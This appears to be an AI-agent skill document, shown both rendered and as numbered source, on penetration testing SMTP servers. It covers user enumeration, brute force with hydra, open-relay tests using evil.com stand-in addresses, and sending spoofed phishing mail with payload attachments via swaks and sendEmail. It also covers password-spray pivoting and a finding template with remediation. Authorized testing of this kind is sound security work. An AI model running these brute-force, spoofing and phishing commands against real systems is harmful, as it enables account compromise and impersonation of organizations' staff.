Pentesting SMTP (ports 25, 465, 587)
When to Use
- Default ports:
25/tcp (MTA-to-MTA), 465/tcp (SMTPS), 587/tcp (submission/STARTTLS).
- When
nmap/banner shows smtp, ESMTP, Sendmail, Postfix, Exim, or Microsoft ESMTP.
- For testing relay policy, user enumeration, email-spoofing controls (SPF/DKIM/DMARC), and gateway routing.
Quick Enumeration
# Plaintext banner + manual session
nc -vn <IP> 25
# SMTPS / STARTTLS
openssl s_client -crlf -connect <IP>:465 # implicit TLS
openssl s_client -starttls smtp -crlf -connect <IP>:587
# MX discovery
dig +short mx <domain>
# nmap scripts: commands, open-relay, NTLM info
nmap -p25 --script smtp-commands <IP>
nmap -p25 --script smtp-open-relay -v <IP>
nmap -p25 --script smtp-ntlm-info <IP>
Critical: Checks Most Often Missed
- Open relay — server forwards mail for arbitrary external sender/recipient. High-impact, frequently missed.
- How to CONFIRM:
nmap -p25 --script smtp-open-relay -v <IP> reports relaying, or manually MAIL FROM:<a@evil.com> + RCPT TO:<b@external.com> is accepted.
- User enumeration without auth —
VRFY, EXPN, and differential RCPT TO responses leak valid accounts.
- NTLM info disclosure —
AUTH NTLM over 587 leaks Windows/domain build info.
- How to CONFIRM:
nmap -p587 --script smtp-ntlm-info <IP> or send AUTH NTLM 334 + a Type-1 token in a manual telnet session.
- Spoofing controls (SPF/DKIM/DMARC) missing or weak —
p=none, relaxed alignment, or no SPF lets you spoof the domain.
- SEG bypass — if any accepted domain (or
<tenant>.onmicrosoft.com) has an MX pointing directly at the mail server instead of the Secure Email Gateway, you can deliver mail past inspection.
- How to CONFIRM:
dig +short mx <accepted_domain> resolves to Exchange Online / origin MTA, not the SEG.
- SMTP smuggling / Exim STARTTLS+BDAT (GnuTLS UAF) — protocol-desync and memory-lifetime surfaces on Exim+GnuTLS where
STARTTLS and CHUNKING/BDAT are advertised.
Workflow
Step 1: Enumerate (version, commands, auth)
nc -vn <IP> 25
# HELO/EHLO then read advertised features:
EHLO attacker.local # note STARTTLS, AUTH, VRFY, EXPN, SIZE, CHUNKING/BDAT, PIPELINING
nmap -p25 --script smtp-commands,smtp-ntlm-info <IP>
Step 2: User enumeration + auth brute force
# Username enumeration
smtp-user-enum -M VRFY -U users.txt -t <IP>
smtp-user-enum -M RCPT -U users.txt -t <IP>
nmap --script smtp-enum-users <IP>
msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_enum; set RHOSTS <IP>; run; exit'
# Auth brute force (when AUTH is required)
hydra -L users.txt -P passwords.txt smtp://<IP>
nxc smtp <IP> -u users.txt -p passwords.txt
Step 3: Exploit / Extract (relay, spoof, deliver)
# Confirm open relay manually
nc <IP> 25
HELO x
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@external.com>
DATA
Subject: relay test
.
QUIT
# Send a spoofed / phishing message
sendEmail -t to@domain.com -f from@attacker.com -s <IP> -u "Important" -a /tmp/payload.pdf
swaks --to hr@example.local --from ceo@example.local --header "Subject: Resume" \
--body "Please review" --attach @resume.doc --server <IP> # @ embeds file bytes
# Validate spoofing posture
python3 -m pip install checkdmarc && checkdmarc <domain>
Step 4: Post-access / pivot
- Use enumerated valid usernames as inputs for SSH/OWA/VPN password spraying.
- Harvest internal hostnames/IPs from NDN/bounce headers and
MAIL FROM auto-completion (MAIL FROM: me → me@PRODSERV01...).
- Detect AV/SEG products from headers (
X-Virus-Scanned) by sending an EICAR test file.
Key Concepts
| Concept |
Description |
| Open relay |
MTA forwards mail between arbitrary external parties — abused for spam/phishing. |
| VRFY / EXPN / RCPT enum |
Verb responses differentiate valid vs invalid local accounts. |
| SPF |
DNS TXT listing authorized sender IPs; ~all (softfail) / -all (fail) qualifiers. |
| DKIM |
DNS-published public key validates a cryptographic signature on outbound mail. |
| DMARC |
Policy (p=none/quarantine/reject) + alignment tying SPF/DKIM to the From domain. |
| SEG bypass |
MX of an accepted domain pointing at the origin MTA skips gateway inspection. |
| SMTP smuggling |
Desync of end-of-data parsing between hops to inject a second message past controls. |
Tools & Systems
| Tool |
Purpose |
| nmap NSE |
smtp-commands, smtp-open-relay, smtp-ntlm-info, smtp-enum-users. |
| nc / openssl s_client |
Manual SMTP/SMTPS sessions, relay and enum testing. |
| smtp-user-enum |
VRFY/EXPN/RCPT user enumeration. |
| swaks / sendEmail |
Crafting and sending spoofed/phishing mail with attachments. |
| hydra / netexec (nxc) |
SMTP AUTH brute force / spraying. |
| Metasploit |
scanner/smtp/smtp_enum, scanner/smtp/smtp_version. |
| checkdmarc / mailspoof / magicspoofing |
Automated SPF/DKIM/DMARC misconfiguration discovery. |
Common Scenarios
Scenario 1: Open relay enables phishing
nmap --script smtp-open-relay confirms the MTA relays for external recipients. The tester sends a spoofed internal-looking email via swaks to demonstrate phishing capability against staff.
Scenario 2: User enumeration → password spray
VRFY/RCPT differences reveal valid mailbox names. The list feeds an OWA/VPN password spray, landing one valid corporate credential.
Scenario 3: DMARC p=none lets domain spoofing
dig _dmarc.<domain> returns p=none. With no enforcement, swaks --from ceo@<domain> is delivered to inboxes, proving impersonation risk.
Output Format
## SMTP Finding
**Service**: SMTP
**Port**: 25/tcp (Postfix)
**Severity**: High
**Finding**: Open mail relay + missing DMARC enforcement
**Evidence**:
- nmap smtp-open-relay: "Server is an open relay"
- manual MAIL FROM:<a@evil.com> / RCPT TO:<b@external.com> accepted (250)
- dig _dmarc.<domain>: "v=DMARC1; p=none"
**Impact**: Attackers can relay spam/phishing through the server and spoof the organization's domain, damaging reputation and enabling social engineering.
**Recommendation**:
1. Restrict `mynetworks`/relay to trusted hosts only; never 0.0.0.0/0.
2. Disable VRFY/EXPN; normalize RCPT responses.
3. Publish strict SPF (`-all`), DKIM, and DMARC (`p=reject`, strict alignment).
4. Ensure all accepted-domain MX records route through the Secure Email Gateway.
1---2name: pentesting-smtp3description: Testing SMTP services (default ports 25, 465/SSL, 587/submission) for open relays, user enumeration (VRFY/EXPN/RCPT), NTLM info disclosure, weak/no authentication, SPF/DKIM/DMARC spoofing gaps, Secure Email Gateway bypass, and SMTP smuggling during authorized engagements.4license: Apache-2.05---6
7# Pentesting SMTP (ports 25, 465, 587)
8
9## When to Use
10- Default ports: `25/tcp` (MTA-to-MTA), `465/tcp` (SMTPS), `587/tcp` (submission/STARTTLS).
11- When `nmap`/banner shows `smtp`, `ESMTP`, `Sendmail`, `Postfix`, `Exim`, or `Microsoft ESMTP`.
12- For testing relay policy, user enumeration, email-spoofing controls (SPF/DKIM/DMARC), and gateway routing.
13
14## Quick Enumeration
15```bash
16# Plaintext banner + manual session
17nc -vn <IP> 25
18
19# SMTPS / STARTTLS
20openssl s_client -crlf -connect <IP>:465 # implicit TLS
21openssl s_client -starttls smtp -crlf -connect <IP>:587
22
23# MX discovery
24dig +short mx <domain>
25
26# nmap scripts: commands, open-relay, NTLM info
27nmap -p25 --script smtp-commands <IP>
28nmap -p25 --script smtp-open-relay -v <IP>
29nmap -p25 --script smtp-ntlm-info <IP>
30```
31
32## Critical: Checks Most Often Missed
33- **Open relay** — server forwards mail for arbitrary external sender/recipient. High-impact, frequently missed.
34 - How to CONFIRM: `nmap -p25 --script smtp-open-relay -v <IP>` reports relaying, or manually `MAIL FROM:<a@evil.com>` + `RCPT TO:<b@external.com>` is accepted.
35- **User enumeration without auth** — `VRFY`, `EXPN`, and differential `RCPT TO` responses leak valid accounts.
36 - How to CONFIRM:
37 ```bash
38 nc <IP> 25
39 HELO x
40 VRFY root # 250 = exists, 550 = unknown
41 EXPN root
42 RCPT TO:admin # compare 250 vs 550
43 smtp-user-enum -M VRFY -U users.txt -t <IP>
44 ```
45- **NTLM info disclosure** — `AUTH NTLM` over 587 leaks Windows/domain build info.
46 - How to CONFIRM: `nmap -p587 --script smtp-ntlm-info <IP>` or send `AUTH NTLM 334` + a Type-1 token in a manual telnet session.
47- **Spoofing controls (SPF/DKIM/DMARC) missing or weak** — `p=none`, relaxed alignment, or no SPF lets you spoof the domain.
48 - How to CONFIRM:
49 ```bash
50 dig txt <domain> | grep spf
51 dig 20120113._domainkey.<domain> TXT | grep p=
52 dig _dmarc.<domain> txt | grep DMARC # p=none/quarantine/reject
53 ```
54- **SEG bypass** — if any accepted domain (or `<tenant>.onmicrosoft.com`) has an MX pointing directly at the mail server instead of the Secure Email Gateway, you can deliver mail past inspection.
55 - How to CONFIRM: `dig +short mx <accepted_domain>` resolves to Exchange Online / origin MTA, not the SEG.
56- **SMTP smuggling / Exim STARTTLS+BDAT (GnuTLS UAF)** — protocol-desync and memory-lifetime surfaces on Exim+GnuTLS where `STARTTLS` and `CHUNKING`/`BDAT` are advertised.
57
58## Workflow
59
60### Step 1: Enumerate (version, commands, auth)
61```bash
62nc -vn <IP> 25
63# HELO/EHLO then read advertised features:
64EHLO attacker.local # note STARTTLS, AUTH, VRFY, EXPN, SIZE, CHUNKING/BDAT, PIPELINING
65nmap -p25 --script smtp-commands,smtp-ntlm-info <IP>
66```
67
68### Step 2: User enumeration + auth brute force
69```bash
70# Username enumeration
71smtp-user-enum -M VRFY -U users.txt -t <IP>
72smtp-user-enum -M RCPT -U users.txt -t <IP>
73nmap --script smtp-enum-users <IP>
74msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_enum; set RHOSTS <IP>; run; exit'
75
76# Auth brute force (when AUTH is required)
77hydra -L users.txt -P passwords.txt smtp://<IP>
78nxc smtp <IP> -u users.txt -p passwords.txt
79```
80
81### Step 3: Exploit / Extract (relay, spoof, deliver)
82```bash
83# Confirm open relay manually
84nc <IP> 25
85HELO x
86MAIL FROM:<attacker@evil.com>
87RCPT TO:<victim@external.com>
88DATA
89Subject: relay test
90.
91QUIT
92
93# Send a spoofed / phishing message
94sendEmail -t to@domain.com -f from@attacker.com -s <IP> -u "Important" -a /tmp/payload.pdf
95swaks --to hr@example.local --from ceo@example.local --header "Subject: Resume" \
96 --body "Please review" --attach @resume.doc --server <IP> # @ embeds file bytes
97
98# Validate spoofing posture
99python3 -m pip install checkdmarc && checkdmarc <domain>
100```
101
102### Step 4: Post-access / pivot
103- Use enumerated valid usernames as inputs for SSH/OWA/VPN password spraying.
104- Harvest internal hostnames/IPs from NDN/bounce headers and `MAIL FROM` auto-completion (`MAIL FROM: me` → `me@PRODSERV01...`).
105- Detect AV/SEG products from headers (`X-Virus-Scanned`) by sending an EICAR test file.
106
107## Key Concepts
108| Concept | Description |
109|---------|-------------|
110| **Open relay** | MTA forwards mail between arbitrary external parties — abused for spam/phishing. |
111| **VRFY / EXPN / RCPT enum** | Verb responses differentiate valid vs invalid local accounts. |
112| **SPF** | DNS TXT listing authorized sender IPs; `~all` (softfail) / `-all` (fail) qualifiers. |
113| **DKIM** | DNS-published public key validates a cryptographic signature on outbound mail. |
114| **DMARC** | Policy (`p=none/quarantine/reject`) + alignment tying SPF/DKIM to the From domain. |
115| **SEG bypass** | MX of an accepted domain pointing at the origin MTA skips gateway inspection. |
116| **SMTP smuggling** | Desync of end-of-data parsing between hops to inject a second message past controls. |
117
118## Tools & Systems
119| Tool | Purpose |
120|------|---------|
121| **nmap NSE** | `smtp-commands`, `smtp-open-relay`, `smtp-ntlm-info`, `smtp-enum-users`. |
122| **nc / openssl s_client** | Manual SMTP/SMTPS sessions, relay and enum testing. |
123| **smtp-user-enum** | VRFY/EXPN/RCPT user enumeration. |
124| **swaks / sendEmail** | Crafting and sending spoofed/phishing mail with attachments. |
125| **hydra / netexec (nxc)** | SMTP AUTH brute force / spraying. |
126| **Metasploit** | `scanner/smtp/smtp_enum`, `scanner/smtp/smtp_version`. |
127| **checkdmarc / mailspoof / magicspoofing** | Automated SPF/DKIM/DMARC misconfiguration discovery. |
128
129## Common Scenarios
130### Scenario 1: Open relay enables phishing
131`nmap --script smtp-open-relay` confirms the MTA relays for external recipients. The tester sends a spoofed internal-looking email via `swaks` to demonstrate phishing capability against staff.
132
133### Scenario 2: User enumeration → password spray
134`VRFY`/`RCPT` differences reveal valid mailbox names. The list feeds an OWA/VPN password spray, landing one valid corporate credential.
135
136### Scenario 3: DMARC p=none lets domain spoofing
137`dig _dmarc.<domain>` returns `p=none`. With no enforcement, `swaks --from ceo@<domain>` is delivered to inboxes, proving impersonation risk.
138
139## Output Format
140```
141## SMTP Finding
142
143**Service**: SMTP
144**Port**: 25/tcp (Postfix)
145**Severity**: High
146**Finding**: Open mail relay + missing DMARC enforcement
147**Evidence**:
148 - nmap smtp-open-relay: "Server is an open relay"
149 - manual MAIL FROM:<a@evil.com> / RCPT TO:<b@external.com> accepted (250)
150 - dig _dmarc.<domain>: "v=DMARC1; p=none"
151**Impact**: Attackers can relay spam/phishing through the server and spoof the organization's domain, damaging reputation and enabling social engineering.
152**Recommendation**:
153 1. Restrict `mynetworks`/relay to trusted hosts only; never 0.0.0.0/0.
154 2. Disable VRFY/EXPN; normalize RCPT responses.
155 3. Publish strict SPF (`-all`), DKIM, and DMARC (`p=reject`, strict alignment).
156 4. Ensure all accepted-domain MX records route through the Secure Email Gateway.
157```